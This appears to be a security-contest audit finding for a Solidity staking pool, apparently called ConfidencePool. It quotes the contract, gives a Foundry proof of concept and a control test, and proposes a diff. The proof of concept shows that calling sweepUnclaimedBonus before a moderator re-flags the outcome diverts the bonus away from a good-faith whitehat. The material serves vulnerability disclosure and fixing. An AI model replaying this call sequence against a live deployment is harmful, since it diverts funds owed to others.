function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
@> if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
IAttackRegistry.ContractState state = _observePoolState();
bool willBeGoodFaithCorrupted = newOutcome == PoolStates.Outcome.CORRUPTED && goodFaith_;
outcome = newOutcome;
goodFaith = goodFaith_;
attacker = attacker_;
snapshotTotalStaked = totalEligibleStake;
@> snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
corruptedReserve = newOutcome == PoolStates.Outcome.CORRUPTED ? snapshotTotalStaked + snapshotTotalBonus : 0;
@> bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;
}
function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
if (riskWindowStart != 0) {
reserved += snapshotTotalBonus - claimedBonus;
}
}
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
}
@>
@>
stakeToken.safeTransfer(recoveryAddress, amount);
emit BonusSwept(msg.sender, recoveryAddress, amount);
}
Two Foundry tests: the exploit, and a control proving the whitehat receives the full pool (STAKE + BONUS) when the intervening sweep does not occur — isolating sweepUnclaimedBonus() as the sole cause of the shortfall. The real BattleChain Safe Harbor interfaces live in an out-of-scope git submodule not included in the contest download; this PoC mocks them with matching call signatures, consistent with docs/DESIGN.md §11's own framing of the registry as a trusted, out-of-adversarial-model dependency.
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IBattleChainSafeHarborRegistry} from "@battlechain/interface/IBattleChainSafeHarborRegistry.sol";
contract MockToken is ERC20 {
constructor() ERC20("Mock Stake Token", "MOCK") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract MockAgreement is IAgreement {
address public immutable ownerAddr;
mapping(address => bool) public inScope;
constructor(address owner_) {
ownerAddr = owner_;
}
function owner() external view returns (address) {
return ownerAddr;
}
function setInScope(address account, bool val) external {
inScope[account] = val;
}
function isContractInScope(address account) external view returns (bool) {
return inScope[account];
}
}
contract MockRegistry is IBattleChainSafeHarborRegistry, IAttackRegistry {
mapping(address => bool) public valid;
ContractState public state;
function setValid(address agreement, bool val) external {
valid[agreement] = val;
}
function setState(ContractState s) external {
state = s;
}
function isAgreementValid(address agreement) external view returns (bool) {
return valid[agreement];
}
function getAttackRegistry() external view returns (address) {
return address(this);
}
function getAgreementState(address) external view returns (ContractState) {
return state;
}
}
contract BonusDiversionPoC is Test {
MockToken token;
MockAgreement agreement;
MockRegistry registry;
ConfidencePool pool;
address sponsor = makeAddr("sponsor");
address moderator = makeAddr("moderator");
address recoveryAddress = makeAddr("recoveryAddress");
address staker = makeAddr("staker");
address whitehat = makeAddr("whitehat");
address bystander = makeAddr("bystander");
address scopeAccount = makeAddr("scopeAccount");
uint256 constant STAKE = 100 ether;
uint256 constant BONUS = 40 ether;
function setUp() public {
token = new MockToken();
agreement = new MockAgreement(sponsor);
registry = new MockRegistry();
registry.setValid(address(agreement), true);
agreement.setInScope(scopeAccount, true);
registry.setState(IAttackRegistry.ContractState.NOT_DEPLOYED);
ConfidencePool impl = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(impl)));
address[] memory accounts = new address[](1);
accounts[0] = scopeAccount;
vm.prank(sponsor);
IConfidencePool(address(pool)).initialize(
address(agreement),
address(token),
address(registry),
moderator,
block.timestamp + 60 days,
1 ether,
recoveryAddress,
sponsor,
accounts
);
token.mint(staker, STAKE);
vm.prank(staker);
token.approve(address(pool), STAKE);
vm.prank(staker);
IConfidencePool(address(pool)).stake(STAKE);
token.mint(sponsor, BONUS);
vm.prank(sponsor);
token.approve(address(pool), BONUS);
vm.prank(sponsor);
IConfidencePool(address(pool)).contributeBonus(BONUS);
}
function test_bonusDivertedAwayFromGoodFaithAttacker() public {
registry.setState(IAttackRegistry.ContractState.PRODUCTION);
assertEq(pool.riskWindowStart(), 0, "precondition: risk window was never observed");
vm.prank(moderator);
IConfidencePool(address(pool)).flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.SURVIVED));
assertEq(pool.snapshotTotalBonus(), BONUS);
assertFalse(pool.claimsStarted(), "re-flag window still open, nobody has claimed");
vm.prank(bystander);
IConfidencePool(address(pool)).sweepUnclaimedBonus();
assertEq(token.balanceOf(recoveryAddress), BONUS, "bonus already swept to recoveryAddress");
assertEq(pool.totalBonus(), 0, "live totalBonus drained");
assertFalse(pool.claimsStarted(), "sweep deliberately does not set claimsStarted (by design)");
registry.setState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
IConfidencePool(address(pool)).flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
assertEq(pool.bountyEntitlement(), STAKE, "attacker entitlement missing the swept bonus");
assertLt(pool.bountyEntitlement(), STAKE + BONUS, "should have been the FULL pool per DESIGN.md S12");
vm.prank(whitehat);
IConfidencePool(address(pool)).claimAttackerBounty();
assertEq(token.balanceOf(whitehat), STAKE, "whitehat only received STAKE, not STAKE+BONUS");
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
IConfidencePool(address(pool)).claimCorrupted();
assertEq(token.balanceOf(recoveryAddress), BONUS, "recoveryAddress keeps the diverted bonus");
assertEq(token.balanceOf(whitehat) + token.balanceOf(recoveryAddress), STAKE + BONUS);
}
function test_control_noSweep_attackerGetsFullPool() public {
registry.setState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
IConfidencePool(address(pool)).flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
registry.setState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
IConfidencePool(address(pool)).flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
assertEq(pool.bountyEntitlement(), STAKE + BONUS, "control: full pool, as DESIGN.md S12 intends");
vm.prank(whitehat);
IConfidencePool(address(pool)).claimAttackerBounty();
assertEq(token.balanceOf(whitehat), STAKE + BONUS, "control: whitehat received the entire pool");
assertEq(token.balanceOf(recoveryAddress), 0, "control: recoveryAddress gets nothing");
}
}
// Bonus is only unreserved when no staker is owed it (no risk window, or no stakers left).
// In that case the sweep removes it from the pool, so drop it from the live `totalBonus`
// too — keeping the accounting honest for any later re-snapshot. Clamp to `totalBonus` so
// swept donations/dust (never counted in it) can't over-decrement or underflow.
if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
+ // This branch sweeps real, snapshot-tied bonus value (not incidental donation dust),
+ // so it must close the moderator's re-flag window the same way a claim does —
+ // otherwise a later correct re-flag silently recomputes bountyEntitlement /
+ // corruptedReserve from an already-diverted totalBonus.
+ if (!claimsStarted) claimsStarted = true;
}
- // Intentionally does NOT set claimsStarted. A direct-transfer donation of as little as 1
- // wei would otherwise let anyone flip the flag post-flagOutcome and block the moderator's
- // documented pre-claim re-flag window. Genuine reliance only comes from claim entrypoints.
+ // claimsStarted is intentionally left untouched here when only donation/dust excess is
+ // swept (handled by the branch above, not this line) — a 1-wei donation must not let
+ // anyone block the moderator's documented pre-claim re-flag window.
stakeToken.safeTransfer(recoveryAddress, amount);